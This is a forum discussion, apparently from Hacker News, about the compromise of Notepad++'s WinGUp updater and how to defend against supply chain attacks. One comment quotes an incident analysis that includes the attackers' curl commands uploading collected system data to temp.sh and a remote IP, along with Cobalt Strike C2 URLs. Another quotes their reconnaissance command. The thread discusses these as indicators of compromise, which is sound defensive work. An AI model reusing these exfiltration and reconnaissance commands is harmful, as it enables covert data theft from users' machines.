Notepad++ supply chain attack breakdown

[Soerensen]

The WinGUp updater compromise is a textbook example of why update mechanisms are such high-value targets. Attackers get code execution on machines that specifically trust the update channel.

What's concerning is the 6-month window. Supply chain attacks are difficult to detect because the malicious code runs with full user permissions from a "trusted" source. Most endpoint protection isn't designed to flag software from a legitimate publisher's update infrastructure.

For organizations, this argues for staged rollouts and network monitoring for unexpected outbound connections from common applications. For individuals, package managers with cryptographic verification at least add another barrier - though obviously not bulletproof either.

[kijin]

The lack of a well-known, well-designed package manager for Windows has always been a problem. Too many programs, including FOSS programs, are downloaded from suspicious-looking websites with tons of ads, and every app updates itself in a different way.

The crappy installation and update channels are often tightly integrated with the vendors' monetization strategies, so there's a huge amount of inertia.

Microsoft Store could have changed this situation, had it been better designed and better received. Unfortunately, nobody seems to use it unless they have no other choice.

WinGet looks much better, but so far it's only for developers and power users.

[ashishb]

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

[troad]

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

[taftster]

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox.

Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

[gus_]

running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

--

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

--

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin

[BobbyTables2]

A sandbox in Windows? How?

[benterix]

I use Notepad++ as a Notepad replacement. I never understood why the network connectivity is enabled by default at all. The first thing I did was to disable it as the constant nagging interrupted my flow (VS Code would do the same thing BTW). I currently have a version from 2020 I'm very happy with.

If one day, maybe in 10 or 20 years time, I feel Notepad++ lacks something and I decide to upgrade, I will do it myself, I don't need a handy helper.

[pjmlp]

Notepad++ is one of my favourite editors, now it is forbidden by IT and checked for on security compliance checks if still installed, thanks to this attack.

[hypeatei]

Yeah, the trust has been burned and the blog post wasn't very reassuring. Safe to say that it will be a long time before it's built back up.

[SideburnsOfDoom]

> Notepad++ is one of my favourite editors

Same, but there are 2 basic key features - tabs, and spell check. There are other nice-to-haves but these are the big ones.

Notepad has those features too now.

Notepad also has a *#&!$ CoPilot button, but at least you can still turn that off the in the settings.

[the_harpia_io]

This attack highlights a broader pattern: developers and users increasingly trust code they haven't personally reviewed.

Supply chain attacks work because we implicitly trust the update channel. But the same trust assumption appears in other places:

- npm/pip packages where we `npm install` without auditing - AI-generated code that gets committed after a quick glance - The growing "vibe coding" trend where entire features are scaffolded by AI

The Notepad++ case is almost a best-case scenario — it's a single binary from a known source. The attack surface multiplies when you consider modern dev workflows with hundreds of transitive dependencies, or projects where significant portions were AI-generated and only superficially reviewed.

Sandboxing helps, but the real issue is the gap between what code can do and what developers expect it to do. We need better tooling for understanding what we're actually running.

[112233]

> increasingly trust code they haven't personally reviewed

while the problems you describe are valid, my personal experience is fully opposite — trust is decreasing. I do not remember anyone worrying about supply chain 15ish years ago — windows was where the viruses lived, and unix people were installing distros, compiling kernel modules and building tarballs without auditing anything.

[acdha]

> developers and users increasingly trust code they haven't personally reviewed.

This has been true since we left the era where you typed the program in each time you ran it. Ken Thompson rather famously wrote about this four decades ago: https://www.cs.umass.edu/~emery/classes/cmpsci691st/readings...

Sandboxing certainly helps but it’s not a panacea: for example, Notepad++ is exactly the kind of utility people would grant access to edit system files and they would have trusted the updater, too.

[yodon]

Is there a "detect infection and clean it up" app from a reputable source yet (beyond the "version 8.8.8 is bad" designator)?

[kijin]

The only way to clean up an infected Windows system is to wipe your disk and reinstall the OS.

There are so many nooks and crannies where malware can hide, and Windows doesn't enforce any boundaries that can't be crossed with a trivial UAC dialog.

[tonymet]

Run MS Defender offline mode .

[indigodaddy]

So if one were theoretically infected right now, would a Malwarebytes scan indicate as such?

[krackers]

OP post has an indicators of compromise list, also seen in https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-...

I'm surprised this wasn't linked from the original notepad++ disclosure

[krige]

If you can get Malwarebytes to scan anything. It has been such a victim of enshittification, it's not remotely as useful as it were several years ago.

[tonymet]

I noticed I had version 8.9 on Dec 28, 2025 and it seems clean according to

https://arstechnica.com/security/2026/02/notepad-updater-was...

I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.

Here's an AI summary explaining who is affected.

Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.

Compromise Window: Between June 2025 and December 2, 2025.

Specific Risk: Users running older versions that utilized the WinGUp update tool were vulnerable to being redirected to malicious servers. These servers delivered trojanized installers containing a custom backdoor dubbed Chrysalis.

[iJohnDoe]

FTA - The original person posting about the unusual behavior was truly helpful.

https://community.notepad-plus-plus.org/topic/27212/autoupda...

Thankfully the responses weren’t outright dismissive, which is usually the case in these situations.

It was thought to be a local compromise and nothing to do Notepad++.

Good lessons to be learned here. Don’t be quick to dismiss things simply because it doesn’t fit what you think should be happening. That’s the whole point. It doesn’t fit, so investigate why.

Most tech support aims to prove the person wrong right out the gate.

[Someone1234]

I'm out of the loop: How did they bypass Notepad++'s digital signatures? I just downloaded it to double-check, and the installer is signed with a valid code-signing certificate.

[Avicebron]

https://notepad-plus-plus.org/news/8.8.2-available-in-1-week...

[gruez]

The updater doesn't check the certificate of the updated installer, it just executes whatever.

[troad]

It now seems to be best practice to simultaneously keep things updated (to avoid newly discovered vulnerabilities), but also not update them too much (to avoid supply chain attacks). Honestly not sure how I'm meant to action those at the same time.

[taftster]

In the early days, updates quite often made systems less stable, by a demonstrable margin. My dad once turned off all updates on his Windows machine, with the ensuing peril that you can imagine.

Sadly, it feels like Microsoft updates lately have trended back towards being unreliable and even user hostile. It's messed up if you update and can't boot your machine afterwards, but here we are. People are going to turn off automatic updates again.

[GauntletWizard]

Unless there's an announcement of a zero day, update a month after each new release. Keeps you on a recent version while giving security systems and researchers time to detect threats.

[Marsymars]

The easiest way to action as a user seems like it would be to use local package managers that includes something like Dependabot's cooldown config. I'm not aware of any local package managers that do something like this?

https://docs.github.com/en/code-security/reference/supply-ch...

[worksonmine]

Debian stable. If you need something to be on the bleeding edge install it from backports or build from source. But keep most of your system boring and stable. It has worked fine for me for years.

[gruez]

You basically need to make a trade-off between 0days and supply chain attacks. Browsers, office suite, media players, archivers, and other programs that are connected to the internet and are handling complex file formats? Update regularly, or at least keep an eye out for CVEs. A text editor, or any other program that doesn't deal with risky data? You're probably fine with auto update turned off

[_carbyau_]

I imagine that it depends on the use case.

Using notepad++ (or whatever other program) in a manner that deals with internet content a lot - then updating is the thing.

Using these tools in a trusted space (local files/network only) : then don't update unless it needs to be different to do what you want.

For many people, something in between because new files/network-tech comes and goes from the internet. So, update occasionally...

[TingPing]

I feel like supply chain attacks are the much rarer situation than real world exploits but I don’t have numbers.

[nightshift1]

Other source: https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-...

[gethly]

I just checked, I'm on version 8.8.8. With TinyWall firewall, it has no access to the internet without my explicit say so. This is why constantly trying to be on the bleeding edge of last updates will more likely bite you in the ass than leave your system/program open to attack with some unpatched vulnerability. Look at Windows 11 updates lately. I bet most users would be gladly behind with their updates right now.

[ChrisArchitect]

Related:

Notepad++ hijacked by state-sponsored actors

https://news.ycombinator.com/item?id=46851548

[Willish42]

> cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

Naive question, but isn't this relatively safe information to expose for this level of attack? I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info? Still, that seems like a lot of effort just to get this data.

[gruez]

>I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info?

You don't need 0days when you already have RCE on an unsandboxed system.

[thatfunkymunki]

it's not "just to get that data", it's to confirm level of access, check for potential other exploiters or security software, identify the machine you have access to, identify what the machine has network connectivity to, etc. The attacker then maintains the c2 channel and can then perform their actual objective with the help of the data they have obtained.

[bdavbdav]

I get that the installer dropped the app cert, but how did the MITM’d download server pass TLS cert validation? Either they weren’t validating (why???) or they weren’t using HTTPS (why???)

[fjnrnfjfn]

The Notepad++ auto updater was quit bad

* Enabled by default * No use of verification of the either the update metadata nor the update payload itself

Looks like someone wanted to write an auto updater without having the knowledge to do so properly

Very sad

[bdavbdav]

Or the TLS cert of the update server seemingly?

[Erlangen]

> Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

Could this be the attacker? The scan happened before the hack was first exposed on the forum.

[gruez]

You would be a dumbass to do that, because virustotal allows security researchers to see submitted samples/urls. The last thing you want to do is to draw attention to your C&C server.

[stanfordkid]

Shouldn't public signature of the hash of the exe file from a known key before execution fix this??? What am I missing?

[porise]

I guess package managers win in the end. I got two emails from my IT department in the last year telling me to immediately update it.

[anonnon]

This is the nudge I needed to stop using VSCodium completely. (No offense to its devs, mind you, who seem to much better have their act together.)

[DANmode]

Why?

[Panzerschrek]

Why a simple text editor requires auto-updates at all?

[ddtaylor]

Because Windows users don't have basic package management that anyone can use and they probably got tired of idiots getting malware trying to Google random Notepad++ binaries. It's turtles all the way down.

[bluenose69]

The article starts out by saying that Notepad++ "is a text editor popular among developers". Really?

[TingPing]

Literally yes: https://survey.stackoverflow.co/2025/

[kotaKat]

First three things I install on any machine - 7zip, Notepad++, alternate browser.

[billforsternz]

I enjoy coding something new up in Notepad++, without any annoying autocomplete and jank. I call it unplugged (acoustic?) mode. Jeepers Visual Studio these days starts autocompleting if and while for example and sometimes doesn't respect normal keystrokes because it expects me to complete these kind of interactions instead.

[jamesfinlayson]

I don't do a whole lot of development with it but if I need to open a random code file then it's much better than plain old Notepad.

[maxpert]

LOL I guess the editors using Notepad++ downvoted you :P